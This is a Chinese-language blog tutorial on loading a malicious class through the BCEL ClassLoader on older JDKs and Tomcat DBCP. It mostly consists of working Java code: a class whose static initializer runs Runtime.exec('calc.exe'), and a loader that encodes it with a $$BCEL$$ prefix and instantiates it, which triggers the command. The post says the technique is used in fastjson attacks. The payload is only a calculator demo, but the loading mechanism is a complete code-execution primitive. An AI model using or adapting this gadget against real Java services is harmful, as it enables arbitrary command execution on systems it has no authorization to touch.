首页 > 其他分享 >BCEL:加载恶意类

BCEL:加载恶意类

时间:2024-05-11 10:35:19浏览次数:13  
标签:恶意 println BCEL apache org out 加载

直入主题

为啥要用BCEL?

因为范围广,如下

JDK内置类(JDK < 8u251)
Tomcat中相关依赖:
Tomcat7 org.apache.tomcat.dbcp.dbcp.BasicDataSource
Tomcat8及以后 org.apache.tomcat.dbcp.dbcp2.BasicDataSource

com.sun.org.apache.bcel.internal.util.ClassLoader重写了默认的类加载方法

当类名以$$BCEL$开头时,会对后续字符串进行解码操作,用 createClass() 方法拿到一个 JavaClass 对象,最终通过 defineClass() 加载字节码还原类。

编写代码

我们现编写一个恶意类,这个类很简单,在静态初始化模块执行calc即可

这样当类被加载时,就会执行calc,很nice

package org.example;

import java.io.IOException;

public class Calc {
        static {
            try {
                System.out.println("    [+]calc类的静态初始化模块,调用Runtime.getRuntime().exec(\"calc.exe\");");
                Runtime.getRuntime().exec("calc.exe");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
}

随后我们回到主函数,通过BCEL加载这个恶意类

package org.example;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class Main {
    public static void main(String[] args) throws Exception {
        System.out.println("[+]低版本jdk可用BCEL,JDK < 8u251");
        System.out.println("[+]获取Calc类");
        JavaClass cls = Repository.lookupClass(Calc.class);

        System.out.println("[+]获取Calc类的编码");
        String code = Utility.encode(cls.getBytes(), true);
        System.out.println("    "+code);

        System.out.println("[+]使用BCEL的ClassLoader加载 $$BCEL$$ + Calc类的编码");
        new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
    }
}

执行结果

image

用途

用在fastjson中,用来加载恶意类

标签:恶意,println,BCEL,apache,org,out,加载
From: https://www.cnblogs.com/Aixve/p/18185924

相关文章

  • 面向单片机的超轻量级的神经网络推理库+单片机上实现动态加载功能的函数库
    1、TinyMaix-面向单片机的超轻量级的神经网络推理库TinyMaix是专为低资源的单片机设计的AI神经网络推理框架,通常被称为TinyML。TinyMaix可以让你在任意单片机上运行轻量级深度学习模型。TinyMaix的设计原则:易用性>移植性>速度>空间。TinyMaix其实是矽速科技(Sipee......
  • wps加载项在vue2项目中的应用(publish模式)
    wps加载项在vue2项目中的应用应用代码:wps.js/***WPSOA助手-WPS启动方法入口*/varpluginsMode=location.search.split("=")[1];//截取url中的参数值varpluginType=WpsInvoke.ClientType.wps;//加载项类型wps,et,wppvarpluginName="WpsOAAssist";//加载项名......
  • css正在加载中的效果
    <divclass="loading"><pclass="loader"></p><p>正在加载中</p></div>.loading{position:absolute;width:100%;text-align:center;top:45%;color:#3498db;}.loader{......
  • Spring如何控制Bean的加载顺序
    前言正常情况下,Spring容器加载Bean的顺序是不确定的,那么我们如果需要按顺序加载Bean时应如何操作?本文将详细讲述我们如何才能控制Bean的加载顺序。场景我创建了4个Class文件,分别命名为FirstInitializationSecondInitializationThirdInitializationForthInit......
  • 类加载器(ClassLoader)
    类加载器(ClassLoader)类加载、编译类加载器用于将Java类(此时的Java类指的是已经从.java编译成.class的字节码文件)通过JVM加载到内存中才能运行。编译java文件包名为:packagecom.melody.sec.classloader;、类名称为:DefineClassDemo编译java文件javaccom/melody/sec/class......
  • 微信小程序加载更多
    背景:博客小程序开发,涉及博客列表加载更多需求。前提:接口:https://abc.com/api/xx?pageSize=xx&page=xxview代码:<viewclass="container"><viewwx:for="{{items}}"wx:key="id"><text>{{item.cid}}--{{item.title}}</text>......
  • java虚拟机内存结构——类加载器,运行时数据区,执行引擎,本地方法接口。《深入理解JAVA虚
    ##类加载器类加载器当Java程序需要使用某个类时,类加载子系统负责找到对应的.class文件,并将其加载到JVM的方法区中每一个类加载器,都拥有一个独立的类名称空间。只有在这两个类是由同一个类加载器加载的前提下才有意义##运行时数据区###线程共享####堆:内......
  • pytorch训练简单加减验证码(一):数据加载器实现
    1、torch.utils.data.Datasettorch.utils.data.Dataset是代表自定义数据集方法的类,用户可以通过继承该类来自定义自己的数据集类,在继承时要求用户重载__len__()和__getitem__()这两个魔法方法。len():返回的是数据集的大小。我们构建的数据集是一个对象,而数据集不像序列类型(列表......
  • Unity热更学习toLua使用--[1]toLua的导入和默认加载执行lua脚本
    [0]toLua的导入下载toLua资源包,访问GitHub项目地址,点击下载即可。将文件导入工程目录中:导入成功之后会出现Lua菜单栏,如未成功生成文件,可以点击GenerateAll重新生成(注意很可能是路径问题导致的生成失败!)之后就可以开始编写脚本执行第一个lua程序了![1]C#调用Lua脚本编写C#......
  • HarmonyOS 实现下拉刷新,上拉加载更多
    组件介绍PullToRefreshList允许用户通过下拉动作来刷新列表内容,以及通过上拉动作来加载更多的数据。组件内部封装了滚动监听、状态管理和动画效果,使得开发者可以轻松集成到自己的项目中。1.实现思路封装成可复用的公共控件:将下拉刷新和上拉加载更多功能封装为一个可复用的组......